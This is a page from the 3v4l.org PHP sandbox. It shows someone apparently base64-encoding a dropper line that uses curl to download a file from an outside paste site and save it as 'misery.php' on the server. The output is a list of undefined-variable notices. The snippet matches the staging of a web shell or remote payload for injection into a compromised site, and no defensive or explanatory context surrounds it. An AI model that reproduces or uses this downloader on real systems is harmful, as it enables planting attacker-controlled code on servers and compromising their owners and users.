3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php base64_encode("$url='http://paste.neurohack.com/raw/YM77y/';$path='./misery.php';$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$data=curl_exec($ch);curl_close($ch);file_put_contents($path, $data);");
Output for 5.0.4 - 7.1.0
Notice: Undefined variable: url in /in/X3aRY on line 3 Notice: Undefined variable: path in /in/X3aRY on line 3 Notice: Undefined variable: ch in /in/X3aRY on line 3 Notice: Undefined variable: url in /in/X3aRY on line 3 Notice: Undefined variable: ch in /in/X3aRY on line 3 Notice: Undefined variable: data in /in/X3aRY on line 3 Notice: Undefined variable: ch in /in/X3aRY on line 3 Notice: Undefined variable: ch in /in/X3aRY on line 3 Notice: Undefined variable: path in /in/X3aRY on line 3 Notice: Undefined variable: data in /in/X3aRY on line 3
Output for 4.3.0 - 5.0.3
Notice: Undefined variable: url in /in/X3aRY on line 3 Notice: Undefined variable: path in /in/X3aRY on line 3 Notice: Undefined variable: ch in /in/X3aRY on line 3 Notice: Undefined variable: url in /in/X3aRY on line 3 Notice: Undefined variable: ch in /in/X3aRY on line 3 Notice: Undefined variable: data in /in/X3aRY on line 3 Notice: Undefined variable: ch in /in/X3aRY on line 3 Notice: Undefined variable: ch in /in/X3aRY on line 3 Notice: Undefined variable: path in /in/X3aRY on line 3 Notice: Undefined variable: data in /in/X3aRY on line 3